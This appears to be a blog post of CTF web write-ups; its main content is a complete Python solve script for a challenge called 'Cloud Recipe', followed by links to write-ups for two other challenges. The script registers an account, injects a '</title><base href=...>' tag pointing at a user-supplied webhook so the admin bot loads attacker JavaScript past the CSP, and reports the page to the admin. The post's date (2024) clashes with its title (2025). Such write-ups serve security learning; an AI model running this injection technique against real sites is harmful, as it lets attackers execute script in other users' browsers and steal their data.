March 17, 2024

(web) K!nd4SUS CTF 2025 Writeups

CTF

Web Writeups


Cloud Recipe

#!/usr/bin/env python3
import requests
import secrets
from bs4 import BeautifulSoup

def generate_username():
    return "user_" + secrets.token_hex(4)

def generate_password():
    return secrets.token_hex(8)

def main():
    # Request the server address and webhook from the user
    server = input("Enter the server address (e.g., http://127.0.0.1:5000): ").strip().rstrip('/')
    webhook = input("Enter the webhook: ").strip()
    
    # Create a session to maintain cookies
    session = requests.Session()
    
    # Registration (creates a random profile)
    username = generate_username()
    password = generate_password()
    print(f"[+] Registering with username: {username} and password: {password}")
    
    register_url = f"{server}/register"
    data = {
        "username": username,
        "password": password,
        "confirm_password": password
    }
    r = session.post(register_url, data=data, allow_redirects=True)
    if r.status_code not in (200, 302):
        print("[-] Registration failed.")
        return
    
    # Creating the recipe
    create_recipe_url = f"{server}/create_recipe"
    # The title contains the <base> tag with the provided webhook
    title = f'</title><base href="{webhook}">'
    description = "Recipe automatically generated by the script"
    data = {
        "title": title,
        "description": description
    }
    r = session.post(create_recipe_url, data=data, allow_redirects=True)
    if r.status_code not in (200, 302):
        print("[-] Recipe creation failed.")
        return

    # Extracting the recipe ID from the /recipes page
    recipes_url = f"{server}/recipes"
    r = session.get(recipes_url)
    if r.status_code != 200:
        print("[-] Error retrieving recipes.")
        return

    # Parsing the HTML page to find the recipe link (which has the ID in the URL)
    soup = BeautifulSoup(r.text, 'html.parser')
    recipe_id = None
    # Assuming the recipe link is in the format /recipe/<id>
    for a in soup.find_all('a', href=True):
        href = a['href']
        if href.startswith("/recipe/"):
            # If the link text matches the title (or contains part of it), use it
            if title in a.text:
                recipe_id = href.split("/recipe/")[1]
                break
    # If we didn't find it by title, try taking the first /recipe/ link
    if not recipe_id:
        for a in soup.find_all('a', href=True):
            href = a['href']
            if href.startswith("/recipe/"):
                recipe_id = href.split("/recipe/")[1]
                break

    if not recipe_id:
        print("[-] Unable to determine the created recipe ID.")
        return

    print(f"[+] Recipe created with ID: {recipe_id}")

    # Sending (reporting) the recipe to the admin
    send_recipe_url = f"{server}/send_recipe"
    data = {
        "recipe_id": recipe_id
    }
    r = session.post(send_recipe_url, data=data)
    if r.status_code == 200:
        print("[+] The recipe has been reported to the admin.")
    else:
        print("[-] Error reporting the recipe to the admin.")

if __name__ == "__main__":
    main()

It was impossible to bypass CSP, so it was necessary to use the tag to modify the base URL in order to load image.js from your domain. (dunno if there was an unintended solution).


K1nd4SSISTANT

Writeup here: https://github.com/sniirful/K1nd4ASSISTANT


Under Construction

Writeup here: https://github.com/sniirful/UnderConstruction

Share